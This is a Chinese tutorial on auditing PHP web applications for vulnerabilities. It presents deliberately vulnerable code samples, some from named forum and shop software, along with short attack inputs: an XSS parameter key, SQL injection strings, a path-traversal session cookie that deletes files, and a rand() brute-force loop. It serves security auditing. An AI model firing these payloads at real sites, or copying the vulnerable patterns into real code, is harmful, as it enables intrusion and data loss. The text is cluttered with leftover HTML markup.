高級(jí)PHP應(yīng)用程序漏洞審核技術(shù)
Jun 06, 2016 pm 07:59 PMby: 80vul.com 目錄 [隱藏] 1 前言 2 傳統(tǒng)的代碼審計(jì)技術(shù) 3 PHP版本與應(yīng)用代碼審計(jì) 4 其他的因素與應(yīng)用代碼審計(jì) 5 擴(kuò)展我們的字典 5.1 變量本身的key 5.2 變量覆蓋 5.2.1 遍歷初始化變量 5.2.2 parse_str()變量覆蓋漏洞 5.2.3 import_request_variables()變
- by: 80vul.com
目錄?[隱藏]
|
前言
PHP是一種被廣泛使用的腳本語(yǔ)言,尤其適合于web開(kāi)發(fā)。具有跨平臺(tái),容易學(xué)習(xí),功能強(qiáng)大等特點(diǎn),據(jù)統(tǒng)計(jì)全世界有超過(guò)34%的網(wǎng)站有php的應(yīng)用,包括Yahoo、sina、163、sohu等大型門(mén)戶網(wǎng)站。而且很多具名的web應(yīng)用系統(tǒng)(包括bbs,blog,wiki,cms等等)都是使用php開(kāi)發(fā)的,Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。隨著web安全的熱點(diǎn)升級(jí),php應(yīng)用程序的代碼安全問(wèn)題也逐步興盛起來(lái),越來(lái)越多的安全人員投入到這個(gè)領(lǐng)域,越來(lái)越多的應(yīng)用程序代碼漏洞被披露。
針對(duì)這樣一個(gè)狀況,很多應(yīng)用程序的官方都成立了安全部門(mén),或者雇傭安全人員進(jìn)行代碼審計(jì),因此出現(xiàn)了很多自動(dòng)化商業(yè)化的代碼審計(jì)工具。也就是這樣的形勢(shì)導(dǎo)致了一個(gè)局面:大公司的產(chǎn)品安全系數(shù)大大的提高,那些很明顯的漏洞基本滅絕了,那些大家都知道的審計(jì)技術(shù)都無(wú)用武之地了。
我們面對(duì)很多工具以及大牛掃描過(guò)n遍的代碼,有很多的安全人員有點(diǎn)悲觀,而有的官方安全人員也非常的放心自己的代碼,但是不要忘記了“沒(méi)有絕對(duì)的安全”,我們應(yīng)該去尋找新的途徑挖掘新的漏洞。本文就給介紹了一些非傳統(tǒng)的技術(shù)經(jīng)驗(yàn)和大家分享。
另外在這里特別說(shuō)明一下本文里面很多漏洞都是來(lái)源于網(wǎng)絡(luò)上牛人和朋友們的分享,在這里需要感謝他們 :)
傳統(tǒng)的代碼審計(jì)技術(shù)
WEB應(yīng)用程序漏洞查找基本上是圍繞兩個(gè)元素展開(kāi):變量與函數(shù)。也就是說(shuō)一漏洞的利用必須把你提交的惡意代碼通過(guò)變量經(jīng)過(guò)n次變量轉(zhuǎn)換傳遞,最終傳遞給目標(biāo)函數(shù)執(zhí)行,還記得MS那句經(jīng)典的名言嗎?“一切輸入都是有害的”。
這句話只強(qiáng)調(diào)了變量輸入,很多程序員把“輸入”理解為只是gpc[$_GET,$_POST,$_COOKIE],但是變量在傳遞過(guò)程產(chǎn)生了n多的變化。導(dǎo)致很多過(guò)濾只是個(gè)“紙老虎”!我們換句話來(lái)描敘下代碼安全:“一切進(jìn)入函數(shù)的變量是有害的”。
PHP代碼審計(jì)技術(shù)用的最多也是目前的主力方法:靜態(tài)分析,主要也是通過(guò)查找容易導(dǎo)致安全漏洞的危險(xiǎn)函數(shù),常用的如grep,findstr等搜索工具,很多自動(dòng)化工具也是使用正則來(lái)搜索這些函數(shù)。下面列舉一些常用的函數(shù),也就是下文說(shuō)的字典(暫略)。但是目前基本已有的字典很難找到漏洞,所以我們需要擴(kuò)展我們的字典,這些字典也是本文主要探討的。
其他的方法有:通過(guò)修改PHP源代碼來(lái)分析變量流程,或者h(yuǎn)ook危險(xiǎn)的函數(shù)來(lái)實(shí)現(xiàn)對(duì)應(yīng)用程序代碼的審核,但是這些也依靠了我們上面提到的字典。
PHP版本與應(yīng)用代碼審計(jì)
到目前為止,PHP主要有3個(gè)版本:php4、php5、php6,使用比例大致如下:
php4 | 68% | 2000-2007,No security fixes after 2008/08,最終版本是php4.4.9 |
php5 | 32% | 2004-present,Now at version 5.2.6(PHP 5.3 alpha1 released!) |
php6 | ? | 目前還在測(cè)試階段,變化很多做了大量的修改,取消了很多安全選項(xiàng)如magic_quotes_gpc(這個(gè)不是今天討論的范圍) |
由于php缺少自動(dòng)升級(jí)的機(jī)制,導(dǎo)致目前PHP版本并存,也導(dǎo)致很多存在漏洞沒(méi)有被修補(bǔ)。這些有漏洞的函數(shù)也是我們進(jìn)行WEB應(yīng)用程序代碼審計(jì)的重點(diǎn)對(duì)象,也是我們字典重要來(lái)源。
其他的因素與應(yīng)用代碼審計(jì)
很多代碼審計(jì)者拿到代碼就看,他們忽視了“安全是一個(gè)整體”,代碼安全很多的其他因素有關(guān)系,比如上面我們談到的PHP版本的問(wèn)題,比較重要的還有操作系統(tǒng)類(lèi)型(主要是兩大陣營(yíng)win/*nix),WEB服務(wù)端軟件(主要是iis/apache兩大類(lèi)型)等因素。這是由于不同的系統(tǒng)不同的WEB SERVER有著不同的安全特點(diǎn)或特性,下文有些部分會(huì)涉及。
所以我們?cè)谧瞿硞€(gè)公司W(wǎng)EB應(yīng)用代碼審計(jì)時(shí),應(yīng)該了解他們使用的系統(tǒng),WEB服務(wù)端軟件,PHP版本等信息。
擴(kuò)展我們的字典
下面將詳細(xì)介紹一些非傳統(tǒng)PHP應(yīng)用代碼審計(jì)一些漏洞類(lèi)型和利用技巧。
變量本身的key
說(shuō)到變量的提交很多人只是看到了GET/POST/COOKIE等提交的變量的值,但是忘記了有的程序把變量本身的key也當(dāng)變量提取給函數(shù)處理。
-
<span><?php </span></span>
-
<span>//key.php?aaaa'aaa=1&bb'b=2 </span>
-
<span>//print_R($_GET); </span>
-
<span>foreach</span> <span>(</span><span>$_GET</span> <span>AS</span> <span>$key</span> <span>=></span> <span>$value</span><span>)</span>
-
<span>{</span>
-
<span>print</span> <span>$key</span><span>.</span><span>"<span>\n</span>"</span><span>;</span>
-
<span>}</span>
-
<span>?></span>
上面的代碼就提取了變量本身的key顯示出來(lái),單純對(duì)于上面的代碼,如果我們提交URL:
-
<span>key</span><span>.</span>php?<span>script<span>></span>alert<span>(</span><span>1</span><span>)</span><span>;</span><span></span><span>=</span><span>1</span><span>&</span>bbb<span>=</span><span>2</span></span>
那么就導(dǎo)致一個(gè)xss的漏洞,擴(kuò)展一下如果這個(gè)key提交給include()等函數(shù)或者sql查詢呢?:)
漏洞審計(jì)策略 |
PHP版本要求:無(wú)
系統(tǒng)要求:無(wú) 審計(jì)策略:通讀代碼 |
變量覆蓋
很多的漏洞查找者都知道extract()這個(gè)函數(shù)在指定參數(shù)為EXTR_OVERWRITE或者沒(méi)有指定函數(shù)可以導(dǎo)致變量覆蓋,但是還有很多其他情況導(dǎo)致變量覆蓋的如:
遍歷初始化變量
請(qǐng)看如下代碼:
-
<span><?php </span></span>
-
<span>//var.php?a=fuck</span>
-
<span>$a</span><span>=</span><span>'hi'</span><span>;</span>
-
foreach<span>(</span>$_GET as $key => $value<span>)</span> <span>{</span>
-
<span>$$key</span> <span>=</span> <span>$value</span><span>;</span>
-
<span>}</span>
-
<span>print</span> <span>$a</span><span>;</span>
-
<span>?></span>
很多的WEB應(yīng)用都使用上面的方式(注意循環(huán)不一定是foreach),如Discuz!4.1的WAP部分的代碼:
-
<span>$chs</span> <span>=</span> <span>''</span><span>;</span>
-
if<span>(</span>$_POST && $charset != 'utf-8'<span>)</span> <span>{</span>
-
<span>$chs</span> <span>=</span> <span>new</span> Chinese<span>(</span><span>'UTF-8'</span><span>,</span> <span>$charset</span><span>)</span><span>;</span>
-
foreach<span>(</span>$_POST as $key => $value<span>)</span> <span>{</span>
-
<span>$$key</span> <span>=</span> <span>$chs</span><span>-></span><span>Convert</span><span>(</span><span>$value</span><span>)</span><span>;</span>
-
<span>}</span>
-
<span>unset</span><span>(</span><span>$chs</span><span>)</span><span>;</span>
漏洞審計(jì)策略 |
PHP版本要求:無(wú)
系統(tǒng)要求:無(wú) 審計(jì)策略:通讀代碼 |
parse_str()變量覆蓋漏洞
-
<span>//var.php?var=new</span>
-
<span>$var</span> <span>=</span> <span>'init'</span><span>;</span>
-
<span>parse_str</span><span>(</span><span>$_SERVER</span><span>[</span><span>'QUERY_STRING'</span><span>]</span><span>)</span><span>;</span>
-
<span>print</span> <span>$var</span><span>;</span>
該函數(shù)一樣可以覆蓋數(shù)組變量,上面的代碼是通過(guò)$_SERVER'QUERY_STRING'來(lái)提取變量的,對(duì)于指定了變量名的我們可以通過(guò)注射“=”來(lái)實(shí)現(xiàn)覆蓋其他的變量:
-
<span>//var.php?var=1&a[1]=var1%3d222</span>
-
<span>$var1</span> <span>=</span> <span>'init'</span><span>;</span>
-
<span>parse_str</span><span>(</span><span>$a</span><span>[</span><span>$_GET</span><span>[</span><span>'var'</span><span>]</span><span>]</span><span>)</span><span>;</span>
-
<span>print</span> <span>$var1</span><span>;</span>
上面的代碼通過(guò)提交$var來(lái)實(shí)現(xiàn)對(duì)$var1的覆蓋。
漏洞審計(jì)策略(parse_str) |
PHP版本要求:無(wú)
系統(tǒng)要求:無(wú) 審計(jì)策略:查找字符parse_str |
漏洞審計(jì)策略(mb_parse_str) |
PHP版本要求:php4系統(tǒng)要求:無(wú)
審計(jì)策略:查找字符mb_parse_str |
import_request_variables()變量覆蓋漏洞
-
<span>//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1</span>
-
<span>echo</span> <span>'GLOBALS '</span><span>.</span><span>(</span>int<span>)</span><span>ini_get</span><span>(</span><span>"register_globals"</span><span>)</span><span>.</span><span>"n"</span><span>;</span>
-
<span>import_request_variables</span><span>(</span><span>'GPC'</span><span>)</span><span>;</span>
-
<span>if</span> <span>(</span><span>$_SERVER</span><span>[</span><span>'REMOTE_ADDR'</span><span>]</span> <span>!=</span> <span>'10.1.1.1'</span><span>)</span> <span>die</span><span>(</span><span>'Go away!'</span><span>)</span><span>;</span>
-
<span>echo</span> <span>'Hello admin!'</span><span>;</span>
漏洞審計(jì)策略(import_request_variables) |
PHP版本要求:php4系統(tǒng)要求:無(wú)
審計(jì)策略:查找字符import_request_variables |
PHP5 Globals
從嚴(yán)格意義上來(lái)說(shuō)這個(gè)不可以算是PHP的漏洞,只能算是一個(gè)特性,測(cè)試代碼:
-
<span></span>
-
<span>// register_globals =ON</span>
-
<span>//foo.php?GLOBALS[foobar]=HELLO</span>
-
php <span>echo</span> <span>$foobar</span><span>;</span>
-
<span>?></span>
但是很多的程序沒(méi)有考慮到這點(diǎn),請(qǐng)看如下代碼:
-
<span>//為了安全取消全局變量</span>
-
<span>//var.php?GLOBALS[a]=aaaa&b=111</span>
-
if <span>(</span>ini_get<span>(</span>'register_globals'<span>)</span><span>)</span> foreach<span>(</span>$_REQUEST as $k=>$v<span>)</span> unset<span>(</span>$<span>{</span>$k<span>}</span><span>)</span>;
-
<span>print</span> <span>$a</span><span>;</span>
-
<span>print</span> <span>$_GET</span><span>[</span>b<span>]</span><span>;</span>
如果熟悉WEB2.0的攻擊的同學(xué),很容易想到上面的代碼我們可以利用這個(gè)特性進(jìn)行crsf攻擊。
漏洞審計(jì)策略 |
PHP版本要求:無(wú)
系統(tǒng)要求:無(wú) 審計(jì)策略:通讀代碼 |
magic_quotes_gpc與代碼安全
什么是magic_quotes_gpc
當(dāng)打開(kāi)時(shí),所有的 '(單引號(hào)),"(雙引號(hào)),\(反斜線)和 NULL 字符都會(huì)被自動(dòng)加上一個(gè)反斜線進(jìn)行轉(zhuǎn)義。還有很多函數(shù)有類(lèi)似的作用 如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外還有parse_str()后的變量也受magic_quotes_gpc的影響。目前大多數(shù)的主機(jī)都打開(kāi)了這個(gè)選項(xiàng),并且很多程序員也注意使用上面那些函數(shù)去過(guò)濾變量,這看上去很安全。很多漏洞查找者或者工具遇到些函數(shù)過(guò)濾后的變量直接就放棄,但是就在他們放棄的同時(shí)也放過(guò)很多致命的安全漏洞。 :)
哪些地方?jīng)]有魔術(shù)引號(hào)的保護(hù)
1) $_SERVER變量
PHP5的$_SERVER變量缺少magic_quotes_gpc的保護(hù),導(dǎo)致近年來(lái)X-Forwarded-For的漏洞猛暴,所以很多程序員考慮過(guò)濾X-Forwarded-For,但是其他的變量呢?
漏洞審計(jì)策略($_SERVER變量) |
PHP版本要求:無(wú)
系統(tǒng)要求:無(wú) 審計(jì)策略:查找字符_SERVER |
2) getenv()得到的變量(使用類(lèi)似$_SERVER變量)
PHP版本要求:無(wú) 系統(tǒng)要求:無(wú) 審計(jì)策略:查找字符getenv漏洞審計(jì)策略(getenv()) |
3) $HTTP_RAW_POST_DATA與PHP輸入、輸出流
主要應(yīng)用與soap/xmlrpc/webpublish功能里,請(qǐng)看如下代碼:
-
if <span>(</span> !isset<span>(</span> $HTTP_RAW_POST_DATA <span>)</span> <span>)</span> <span>{</span>
-
<span>$HTTP_RAW_POST_DATA</span> <span>=</span> <span>file_get_contents</span><span>(</span> <span>'php://input'</span> <span>)</span><span>;</span>
-
<span>}</span>
-
<span>if</span> <span>(</span> <span>isset</span><span>(</span><span>$HTTP_RAW_POST_DATA</span><span>)</span> <span>)</span>
-
<span>$HTTP_RAW_POST_DATA</span> <span>=</span> <span>trim</span><span>(</span><span>$HTTP_RAW_POST_DATA</span><span>)</span><span>;</span>
漏洞審計(jì)策略(數(shù)據(jù)流) |
PHP版本要求:無(wú)
系統(tǒng)要求:無(wú) 審計(jì)策略:查找字符HTTP_RAW_POST_DATA或者php://input |
4) 數(shù)據(jù)庫(kù)操作容易忘記'的地方如:in()/limit/order by/group by
如Discuz!
-
if<span>(</span>is_array<span>(</span>$msgtobuddys<span>)</span><span>)</span> <span>{</span>
-
<span>$msgto</span> <span>=</span> <span>array_merge</span><span>(</span><span>$msgtobuddys</span><span>,</span> <span>array</span><span>(</span><span>$msgtoid</span><span>)</span><span>)</span><span>;</span>
-
<span>......</span>
-
foreach<span>(</span>$msgto as $uid<span>)</span> <span>{</span>
-
<span>$uids</span> <span>.=</span> <span>$comma</span><span>.</span><span>$uid</span><span>;</span>
-
<span>$comma</span> <span>=</span> <span>','</span><span>;</span>
-
<span>}</span>
-
<span>......</span>
-
<span>$query</span> <span>=</span> <span>$db</span><span>-></span><span>query</span><span>(</span><span>"SELECT m.username, mf.ignorepm FROM <span>{$tablepre}</span>members m</span>
-
<span> LEFT JOIN <span>{$tablepre}</span>memberfields mf USING(uid)</span>
-
<span> WHERE m.uid IN (<span>$uids</span>)"</span><span>)</span><span>;</span>
漏洞審計(jì)策略 |
PHP版本要求:無(wú)
系統(tǒng)要求:無(wú) 審計(jì)策略:查找數(shù)據(jù)庫(kù)操作字符(select,update,insert等等) |
變量的編碼與解碼
一個(gè)WEB程序很多功能的實(shí)現(xiàn)都需要變量的編碼解碼,而且就在這一轉(zhuǎn)一解的傳遞過(guò)程中就悄悄的繞過(guò)你的過(guò)濾的安全防線。
這個(gè)類(lèi)型的主要函數(shù)有:
1) stripslashes() 這個(gè)其實(shí)就是一個(gè)decode-addslashes()
2) 其他字符串轉(zhuǎn)換函數(shù):
base64_decode | 對(duì)使用 MIME base64 編碼的數(shù)據(jù)進(jìn)行解碼 |
base64_encode | 使用 MIME base64 對(duì)數(shù)據(jù)進(jìn)行編碼 |
rawurldecode | 對(duì)已編碼的 URL 字符串進(jìn)行解碼 |
rawurlencode | 按照?RFC 1738?對(duì) URL 進(jìn)行編碼 |
urldecode | 解碼已編碼的 URL 字符串 |
urlencode | 編碼 URL 字符串 |
... | ... |
另外一個(gè) unserialize/serialize
3) 字符集函數(shù)(GKB,UTF7/8...)如iconv()/mb_convert_encoding()等
目前很多漏洞挖掘者開(kāi)始注意這一類(lèi)型的漏洞了,如典型的urldecode:
-
<span>$sql</span> <span>=</span> <span>"SELECT * FROM article WHERE articleid='"</span><span>.</span><span>urldecode</span><span>(</span><span>$_GET</span><span>[</span>id<span>]</span><span>)</span><span>.</span><span>"'"</span><span>;</span>
當(dāng)magic_quotes_gpc=on時(shí),我們提交?id=%2527,得到sql語(yǔ)句為:
-
SELECT <span>*</span> FROM article WHERE articleid<span>=</span><span>''</span><span>'</span>
漏洞審計(jì)策略 |
PHP版本要求:無(wú)
系統(tǒng)要求:無(wú) 審計(jì)策略:查找對(duì)應(yīng)的編碼函數(shù) |
二次攻擊
詳細(xì)見(jiàn)附錄[1]
1)數(shù)據(jù)庫(kù)出來(lái)的變量沒(méi)有進(jìn)行過(guò)濾
2)數(shù)據(jù)庫(kù)的轉(zhuǎn)義符號(hào):
mysql/oracle轉(zhuǎn)義符號(hào)同樣是\(我們提交'通過(guò)魔術(shù)引號(hào)變化為\',當(dāng)我們update進(jìn)入數(shù)據(jù)庫(kù)時(shí),通過(guò)轉(zhuǎn)義變?yōu)?) mssql的轉(zhuǎn)義字符為'(所以我們提交'通過(guò)魔術(shù)引號(hào)變化為\',mssql會(huì)把它當(dāng)為一個(gè)字符串直接處理,所以魔術(shù)引號(hào)對(duì)于mssql的注射沒(méi)有任何意義)
從這里我們可以思考得到一個(gè)結(jié)論:一切進(jìn)入函數(shù)的變量都是有害的,另外利用二次攻擊我們可以實(shí)現(xiàn)一個(gè)webrootkit,把我們的惡意構(gòu)造直接放到數(shù)據(jù)庫(kù)里。我們應(yīng)當(dāng)把這樣的代碼看成一個(gè)vul?
漏洞審計(jì)策略 |
PHP版本要求:無(wú)
系統(tǒng)要求:無(wú) 審計(jì)策略:通讀代碼 |
魔術(shù)引號(hào)帶來(lái)的新的安全問(wèn)題
首先我們看下魔術(shù)引號(hào)的處理機(jī)制:
-
<span>[</span>\<span>--></span>\\<span>,</span><span>'-->\',"-->\",null-->\0]</span>
這給我們引進(jìn)了一個(gè)非常有用的符號(hào)“\”,“\”符號(hào)不僅僅是轉(zhuǎn)義符號(hào),在WIN系統(tǒng)下也是目錄轉(zhuǎn)跳的符號(hào)。這個(gè)特點(diǎn)可能導(dǎo)致php應(yīng)用程序里產(chǎn)生非常有意思的漏洞:
1)得到原字符(',\,",null])
-
<span>$order_sn</span><span>=</span><span>substr</span><span>(</span><span>$_GET</span><span>[</span><span>'order_sn'</span><span>]</span><span>,</span> <span>1</span><span>)</span><span>;</span>
-
?
-
<span>//提交 '</span>
-
<span>//魔術(shù)引號(hào)處理 \'</span>
-
<span>//substr '</span>
-
?
-
<span>$sql</span> <span>=</span> <span>"SELECT order_id, order_status, shipping_status, pay_status, "</span><span>.</span>
-
<span>" shipping_time, shipping_id, invoice_no, user_id "</span><span>.</span>
-
<span>" FROM "</span> <span>.</span> <span>$ecs</span><span>-></span><span>table</span><span>(</span><span>'order_info'</span><span>)</span><span>.</span>
-
<span>" WHERE order_sn = '<span>$order_sn</span>' LIMIT 1"</span><span>;</span>
2)得到“\”字符
-
<span>$order_sn</span><span>=</span><span>substr</span><span>(</span><span>$_GET</span><span>[</span><span>'order_sn'</span><span>]</span><span>,</span> <span>0</span><span>,</span><span>1</span><span>)</span><span>;</span>
-
?
-
<span>//提交 '</span>
-
<span>//魔術(shù)引號(hào)處理 \'</span>
-
<span>//substr \ </span>
-
?
-
<span>$sql</span> <span>=</span> <span>"SELECT order_id, order_status, shipping_status, pay_status, "</span><span>.</span>
-
<span>" shipping_time, shipping_id, invoice_no, user_id "</span><span>.</span>
-
<span>" FROM "</span> <span>.</span> <span>$ecs</span><span>-></span><span>table</span><span>(</span><span>'order_info'</span><span>)</span><span>.</span>
-
<span>" WHERE order_sn = '<span>$order_sn</span>' and order_tn='"</span><span>.</span><span>$_GET</span><span>[</span><span>'order_tn'</span><span>]</span><span>.</span><span>"'"</span><span>;</span>
提交內(nèi)容:
-
?order_sn<span>=</span><span>'&order_tn=%20and%201=1/*</span>
執(zhí)行的SQL語(yǔ)句為:
-
SELECT order_id<span>,</span> order_status<span>,</span> shipping_status<span>,</span> pay_status<span>,</span> shipping_time<span>,</span>
-
shipping_id<span>,</span> invoice_no<span>,</span> user_id FROM order_info WHERE order_sn <span>=</span> <span>'\' and </span>
-
<span>order_tn='</span> and <span>1</span><span>=</span><span>1</span><span>/*'</span>
漏洞審計(jì)策略 |
PHP版本要求:無(wú)
系統(tǒng)要求:無(wú) 審計(jì)策略:查找字符串處理函數(shù)如substr或者通讀代碼 |
變量key與魔術(shù)引號(hào)
我們最在這一節(jié)的開(kāi)頭就提到了變量key,PHP的魔術(shù)引號(hào)對(duì)它有什么影響呢?
-
<span><?php </span></span>
-
<span>//key.php?aaaa'aaa=1&bb'b=2 </span>
-
<span>//print_R($_GET); </span>
-
<span>foreach</span> <span>(</span><span>$_GET</span> <span>AS</span> <span>$key</span> <span>=></span> <span>$value</span><span>)</span>
-
<span>{</span>
-
<span>print</span> <span>$key</span><span>.</span><span>"<span>\n</span>"</span><span>;</span>
-
<span>}</span>
-
<span>?></span>
1)當(dāng)magic_quotes_gpc = On時(shí),在php5.24下測(cè)試顯示:
-
aaaa\<span>'aaa</span>
-
<span>bb\'b</span>
從上面結(jié)果可以看出來(lái),在設(shè)置了magic_quotes_gpc = On下,變量key受魔術(shù)引號(hào)影響。但是在php4和php
-
<span><?php </span></span>
-
<span>//key.php?aaaa'aaa[bb']=1 </span>
-
<span>print_R</span><span>(</span><span>$_GET</span><span>)</span><span>;</span>
-
<span>?></span>
結(jié)果顯示:
-
<span>Array</span> <span>(</span> <span>[</span>aaaa<span>'aaa] => Array ( [bb\'] => 1 ) )</span>
數(shù)組第一維變量的key不受魔術(shù)引號(hào)的影響。
漏洞審計(jì)策略 |
PHP版本要求:php4和php系統(tǒng)要求:無(wú)
審計(jì)策略:通讀代碼 |
2)當(dāng)magic_quotes_gpc = Off時(shí),在php5.24下測(cè)試顯示:
-
aaaa<span>'aaa</span>
-
<span>bb'</span>b
對(duì)于magic_quotes_gpc = Off時(shí)所有的變量都是不安全的,考慮到這個(gè),很多程序都通過(guò)addslashes等函數(shù)來(lái)實(shí)現(xiàn)魔術(shù)引號(hào)對(duì)變量的過(guò)濾,示例代碼如下:
-
<span><?php </span> </span>
-
<span>//keyvul.php?aaa'aa=1'</span>
-
<span>//magic_quotes_gpc = Off</span>
-
<span>if</span> <span>(</span><span>!</span><span>get_magic_quotes_gpc</span><span>(</span><span>)</span><span>)</span>
-
<span>{</span>
-
<span>$_GET</span> <span>=</span> addslashes_array<span>(</span><span>$_GET</span><span>)</span><span>;</span>
-
<span>}</span>
-
?
-
<span>function</span> addslashes_array<span>(</span><span>$value</span><span>)</span>
-
<span>{</span>
-
<span>return</span> <span>is_array</span><span>(</span><span>$value</span><span>)</span>?? <span>array_map</span><span>(</span><span>'addslashes_array'</span><span>,</span> <span>$value</span><span>)</span> <span>:</span> <span>addslashes</span><span>(</span><span>$value</span><span>)</span><span>;</span>
-
<span>}</span>
-
<span>print_R</span><span>(</span><span>$_GET</span><span>)</span><span>;</span>
-
<span>foreach</span> <span>(</span><span>$_GET</span> <span>AS</span> <span>$key</span> <span>=></span> <span>$value</span><span>)</span>
-
<span>{</span>
-
<span>print</span> <span>$key</span><span>;</span>
-
<span>}</span>
-
<span>?></span>
以上的代碼看上去很完美,但是他這個(gè)代碼里addslashes($value)只處理了變量的具體的值,但是沒(méi)有處理變量本身的key,上面的代碼顯示結(jié)果如下:
-
<span>Array</span>
-
<span>(</span>
-
<span>[</span>aaa<span>'aa] => 1\'</span>
-
<span>)</span>
-
<span>aaa'</span>aa
漏洞審計(jì)策略 |
PHP版本要求:無(wú)
系統(tǒng)要求:無(wú) 審計(jì)策略:通讀代碼 |
代碼注射
PHP中可能導(dǎo)致代碼注射的函數(shù)
很多人都知道eval、preg_replace+/e可以執(zhí)行代碼,但是不知道php還有很多的函數(shù)可以執(zhí)行代碼如:
-
assert<span>(</span><span>)</span>
-
call_user_func<span>(</span><span>)</span>
-
call_user_func_array<span>(</span><span>)</span>
-
create_function<span>(</span><span>)</span>
-
變量函數(shù)
-
<span>...</span>
這里我們看看最近出現(xiàn)的幾個(gè)關(guān)于create_function()代碼執(zhí)行漏洞的代碼:
-
<span><?php </span></span>
-
<span>//how to exp this code</span>
-
<span>$sort_by</span><span>=</span><span>$_GET</span><span>[</span><span>'sort_by'</span><span>]</span><span>;</span>
-
<span>$sorter</span><span>=</span><span>'strnatcasecmp'</span><span>;</span>
-
$databases=array<span>(</span>'test','test'<span>)</span>;
-
<span>$sort_function</span> <span>=</span> <span>' return 1 * '</span> <span>.</span> <span>$sorter</span> <span>.</span> <span>'($a["'</span> <span>.</span> <span>$sort_by</span> <span>.</span> <span>'"], $b["'</span> <span>.</span> <span>$sort_by</span> <span>.</span> <span>'"]);</span>
-
<span> '</span><span>;</span>
-
usort<span>(</span>$databases, create_function<span>(</span>'$a, $b', $sort_function<span>)</span><span>)</span>;
漏洞審計(jì)策略 |
PHP版本要求:無(wú)
系統(tǒng)要求:無(wú) 審計(jì)策略:查找對(duì)應(yīng)函數(shù)(assert,call_user_func,call_user_func_array,create_function等) |
變量函數(shù)與雙引號(hào)
對(duì)于單引號(hào)和雙引號(hào)的區(qū)別,很多程序員深有體會(huì),示例代碼:
-
<span>echo</span> <span>"<span>$a</span><span>\n</span>"</span><span>;</span>
-
<span>echo</span> <span>'$a\n'</span><span>;</span>
我們?cè)倏慈缦麓a:
-
<span>//how to exp this code</span>
-
if<span>(</span>$globals['bbc_email']<span>)</span><span>{</span>
-
?
-
$text = preg_replace<span>(</span>
-
array<span>(</span>"/\[email=(.*?)\](.*?)\[\/email\]/ies",
-
"/\[email\](.*?)\[\/email\]/ies"<span>)</span>,
-
array<span>(</span>'check_email("$1", "$2")',
-
'check_email("$1", "$1")'<span>)</span>, $text<span>)</span>;
另外很多的應(yīng)用程序都把變量用""存放在緩存文件或者config或者data文件里,這樣很容易被人注射變量函數(shù)。
漏洞審計(jì)策略 |
PHP版本要求:無(wú)
系統(tǒng)要求:無(wú) 審計(jì)策略:通讀代碼 |
PHP自身函數(shù)漏洞及缺陷
PHP函數(shù)的溢出漏洞
大家還記得Stefan Esser大牛的Month of PHP Bugs(MOPB見(jiàn)附錄2)項(xiàng)目么,其中比較有名的要算是unserialize(),代碼如下:
unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);
在以往的PHP版本里,很多函數(shù)都曾經(jīng)出現(xiàn)過(guò)溢出漏洞,所以我們?cè)趯徲?jì)應(yīng)用程序漏洞的時(shí)候不要忘記了測(cè)試目標(biāo)使用的PHP版本信息。
漏洞審計(jì)策略 |
PHP版本要求:對(duì)應(yīng)fix的版本
系統(tǒng)要求: 審計(jì)策略:查找對(duì)應(yīng)函數(shù)名 |
PHP函數(shù)的其他漏洞
Stefan Esser大牛發(fā)現(xiàn)的漏洞:unset()--Zend_Hash_Del_Key_Or_Index Vulnerability 比如phpwind早期的serarch.php里的代碼:
-
unset<span>(</span>$uids<span>)</span>;
-
<span>......</span>
-
$query=$db->query<span>(</span>"SELECT uid FROM pw_members WHERE username LIKE '$pwuser'"<span>)</span>;
-
while<span>(</span>$member=$db->fetch_array<span>(</span>$query<span>)</span><span>)</span><span>{</span>
-
<span>$uids</span> <span>.=</span> <span>$member</span><span>[</span><span>'uid'</span><span>]</span><span>.</span><span>','</span><span>;</span>
-
<span>}</span>
-
$uids?? $uids=substr<span>(</span>$uids,0,-1<span>)</span> : $sqlwhere.=' AND 0 ';
-
<span>........</span>
-
$query = $db->query<span>(</span>"SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit"<span>)</span>;
漏洞審計(jì)策略 |
PHP版本要求:php4系統(tǒng)要求:無(wú)
審計(jì)策略:查找unset |
session_destroy()刪除文件漏洞
測(cè)試PHP版本:5.1.2 這個(gè)漏洞是幾年前朋友saiy發(fā)現(xiàn)的,session_destroy()函數(shù)的功能是刪除session文件,很多web應(yīng)用程序的logout的功能都直接調(diào)用這個(gè)函數(shù)刪除session,但是這個(gè)函數(shù)在一些老的版本中缺少過(guò)濾導(dǎo)致可以刪除任意文件。測(cè)試代碼如下:
-
<span><?php </span> </span>
-
<span>//val.php </span>
-
session_save_path<span>(</span>'./'<span>)</span>;
-
session_start<span>(</span><span>)</span>;
-
if<span>(</span>$_GET['del']<span>)</span> <span>{</span>
-
session_unset<span>(</span><span>)</span>;
-
session_destroy<span>(</span><span>)</span>;
-
<span>}</span>else<span>{</span>
-
<span>$_SESSION</span><span>[</span><span>'hei'</span><span>]</span><span>=</span><span>1</span><span>;</span>
-
echo<span>(</span>session_id<span>(</span><span>)</span><span>)</span>;
-
print_r<span>(</span>$_SESSION<span>)</span>;
-
<span>}</span>
-
<span>?></span>
當(dāng)我們提交構(gòu)造cookie:PHPSESSID=/../1.php,相當(dāng)于unlink('sess_/../1.php')這樣就通過(guò)注射../轉(zhuǎn)跳目錄刪除任意文件了。很多著名的程序某些版本都受影響如phpmyadmin,sablog,phpwind3等等。
漏洞審計(jì)策略 |
PHP版本要求:具體不詳
系統(tǒng)要求:無(wú) 審計(jì)策略:查找session_destroy |
隨機(jī)函數(shù)
1) rand() VS mt_rand()
-
<span><?php </span></span>
-
<span>//on windows</span>
-
print mt_getrandmax<span>(</span><span>)</span>; //2147483647
-
print getrandmax<span>(</span><span>)</span>;// 32767
-
<span>?></span>
可以看出rand()最大的隨機(jī)數(shù)是32767,這個(gè)很容易被我們暴力破解。
-
<span><?php </span></span>
-
$a= md5<span>(</span>rand<span>(</span><span>)</span><span>)</span>;
-
for<span>(</span>$i=0;$i32767;$i++<span>)</span><span>{</span>
-
if<span>(</span>md5<span>(</span>$i<span>)</span> ==$a <span>)</span> <span>{</span>
-
<span>print</span> <span>$i</span><span>.</span><span>"-->ok!!<br>"</span><span>;</span><span>exit</span><span>;</span>
-
<span>}</span>else <span>{</span> print $i."
";<span>}</span> -
<span>}</span>
-
<span>?></span>
